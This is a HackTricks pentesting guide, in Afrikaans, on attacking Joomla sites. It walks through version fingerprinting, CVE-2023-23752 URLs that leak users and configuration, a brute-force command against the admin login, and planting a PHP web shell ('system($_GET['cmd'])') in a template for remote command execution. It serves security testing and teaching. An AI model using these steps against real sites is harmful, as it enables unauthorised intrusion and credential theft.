hacktricks/network-services-pentesting/pentesting-web/joomla.md

6.3 KiB

Joomla

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Joomla Statistieke

Joomla verskaf 'n paar anonieme gebruik statistieke soos die verdeling van Joomla, PHP en databasis weergawes en bediener bedryfstelsels wat op Joomla installasies gebruik word. Hierdie data kan deur middel van hul openbare API opgevraag word.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Discovery/Footprinting

  • Kontroleer die meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Weergawe

  • In /administrator/manifests/files/joomla.xml kan jy die weergawe sien.
  • In /language/en-GB/en-GB.xml kan jy die weergawe van Joomla kry.
  • In plugins/system/cache/cache.xml kan jy 'n benaderde weergawe sien.

Outomaties

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Metodologie is 'n afdeling oor CMS skanners wat Joomla kan skandeer.

API Ongeauthentiseerde Inligtingsontsluiting:

Weergawes Van 4.0.0 tot 4.2.7 is kwesbaar vir ongeauthentiseerde inligtingsontsluiting (CVE-2023-23752) wat kredensiale en ander inligting sal dump.

  • Gebruikers: http://<host>/api/v1/users?public=true
  • Konfigurasie Lêer: http://<host>/api/index.php/v1/config/application?public=true

MSF Module: scanner/http/joomla_api_improper_access_checks of ruby skrip: 51334

Brute-Force

Jy kan hierdie skrip gebruik om te probeer om die aanmelding te brute-force.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

As jy daarin slaag om admin akrediteer te verkry, kan jy RCE binne dit kry deur 'n snit van PHP kode by te voeg om RCE te verkry. Ons kan dit doen deur 'n sjabloon te pas.

  1. Klik op Templates onderaan links onder Configuration om die sjabloonmenu op te roep.
  2. Klik op 'n sjabloon naam. Kom ons kies protostar onder die Template kolomkop. Dit sal ons na die Templates: Customise bladsy bring.
  3. Laastens kan jy op 'n bladsy klik om die bladsybron op te roep. Kom ons kies die error.php bladsy. Ons sal 'n PHP een-liner byvoeg om kode-uitvoering te verkry soos volg:
  4. system($_GET['cmd']);
  5. Stoor & Sluit
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

Van XSS na RCE

  • JoomSploit: Joomla Exploit Script wat XSS na RCE of ander kritieke kwesbaarhede verhoog. Vir meer inligting, kyk na hierdie pos. Dit bied ondersteuning vir Joomla weergawes 5.X.X, 4.X.X, en 3.X.X, en laat toe om:
  • Privilegie Escalatie: Skep 'n gebruiker in Joomla.
  • (RCE) Ingeboude Sjablone Wysig: Wysig 'n Ingeboude Sjabloon in Joomla.
  • (Aangepas) Aangepaste Exploits: Aangepaste Exploits vir Derdeparty Joomla Plugins.

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}